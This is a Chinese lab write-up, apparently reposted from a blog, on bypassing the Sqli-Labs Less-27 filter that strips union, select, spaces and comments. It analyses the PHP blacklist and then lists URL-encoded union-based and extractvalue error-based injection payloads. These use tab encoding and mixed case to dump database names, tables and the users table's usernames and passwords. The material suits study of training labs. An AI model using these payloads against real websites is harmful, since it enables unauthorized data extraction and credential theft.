SQL注入 union和select替换为空绕过

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入 union和select替换为空绕过相关的知识,希望对你有一定的参考价值。

SQL注入 union和select替换为空绕过

1.基础知识介绍

1.mysql中的大小写不敏感,大写与小写一样。用于绕过过滤的黑名单。
2.MySQL中的十六进制与URL编码
3.符号与关键字替换 and----&&、or----||
4.空格使用%20表示、%0a换行、%09tab键

2.去除(union)的代码分析

preg_replace函数
preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串组。
$subject:要搜索替换的目标字符串或字符串数组


function blacklist($id)

$id= preg_replace('/[\\/\\*]/',"", $id);		//替换/*为空
$id= preg_replace('/[--]/',"", $id);		//替换--为空.
$id= preg_replace('/[#]/',"", $id);			//替换 #.为空
$id= preg_replace('/[ +]/',"", $id);	    //匹配(+)替换为空
$id= preg_replace('/select/m',"", $id);	    //匹配select为空
$id= preg_replace('/[ +]/',"", $id);	    //匹配(+)为空
$id= preg_replace('/union/s',"", $id);	    //替换union为空
$id= preg_replace('/select/s',"", $id);	    //替换select为空
$id= preg_replace('/UNION/s',"", $id);	    //替换UNION为空
$id= preg_replace('/SELECT/s',"", $id);	    //替换SELECT为空
$id= preg_replace('/Union/s',"", $id);	    //替换Union为空
$id= preg_replace('/Select/s',"", $id);	    //替换select为空
return $id;


源代码如下所示:

3.渗透实战化演练

方法一(union注入)

Sqli-Lab-less27为例
%09表示空格,||表会or、union/select大小写、双写绕过。
1.当我们输入1'时,报错


2.使用万能模板注入

1' or '1'='1

3.判断注入点

?id=0%27%09%09unIon%09sElect%091,2,3%09||%09%271

4.获取数据库信息

?id=0%27%09%09unIon%09sElect%091,database(),3%09||%09%271


5.获取数据表信息

?id=0%27%09%09unIon%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09||%09%271


6.获取字段名

?id=0%27%09%09unIon%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09||%09table_name='users'),3%09||%09%271


7.获取字段内容

?id=0%27%09%09unIon%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09||%09%271

方法二(extractvalue报错注入)

1.获取数据库信息
使用%09绕过空格,使用%27绕过单引号

?id=1%27or(extractvalue(1,concat(0x7e,(sElect(database())),0x7e)))and%09%271


2.获取表名信息

?id=1'or(extractvalue(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where (table_schema=database())),0x7e)))and '1'='1

3.获取字段名信息

?id=1'or(extractvalue(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where (table_schema='security')and(table_name='users')),0x7e)))and '1'='1


4.获取字段内容

?id=1'or(extractvalue(1,concat(0x7e,(sElect (group_concat(id,username,password))from(users)),0x7e)))and '1'='1

5.ps

1.使用union查询的过程中,因为过滤了减号,所以不能使用负数(如:-1)
2.在使用报错注入的过程中,使用了括号绕过空格
3.尽管过滤了大写和小写的unionselect但是我们可以使用大小写交叉绕过
4.使用报错注入,获取数据表还有一种方法,payload如下所示

?id=1'  %09and%09 extractvalue(0x0a,concat(0x0a,(selECt %09table_name %09from %09information_schema.tables %09where %09table_schema=database()%09 limit %090,1)))%09and 's'='s

以上是关于SQL注入 union和select替换为空绕过的主要内容,如果未能解决你的问题,请参考以下文章

sql注入绕过union select过滤

sql注入绕过union select过滤

SQL注入 空格转换为空绕过

SQL注入中的WAF绕过

渗透测试自学系列— SQL注入 之 绕过技巧

SQL注入绕过总结